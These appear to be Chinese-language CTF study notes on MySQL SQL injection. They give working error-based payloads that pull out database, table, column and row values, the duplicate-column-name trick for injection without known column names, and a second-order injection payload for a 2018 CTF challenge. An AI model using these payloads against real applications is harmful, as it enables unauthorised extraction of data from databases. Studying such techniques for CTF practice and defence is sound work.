//数据库 select * from user where 1=1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a); //表名 select * from user where 1=1 and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a); //字段 select * from user where 1=1 and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name='user' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a); //值 select * from user where 1=1 and (select 1 from (select count(*),concat((select id from user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
列名重复
这个可以用在无列名注入的时候,爆出列名
mysql> select * from (select * from user a join user b)c; ERROR 1060 (42S21): Duplicate column name 'id' mysql> select * from (select * from user a join user b using(id))c; ERROR 1060 (42S21): Duplicate column name 'username'
xpath语法报错注入
利用extractvalue或者updatexml
一些特性注入
宽字节注入
看数据库编码是否发生改变
无列名注入
select 1,2 union select * from user;
二次注入
第一次插入数据库的数据被过滤,但是在下一次使用拼凑过程中以输入的形式进行组合,造成语句恶意拼接
[网鼎杯2018]Unfinish
注册以后发现用户名显示了,猜测语句是
insert into XXX ('','','') values ('','''','');
所以构造一下注入语句为:
xxxxxxxxxx insert into XXX (email,username,passwd) values ('',''+(select hex(database()))+'','');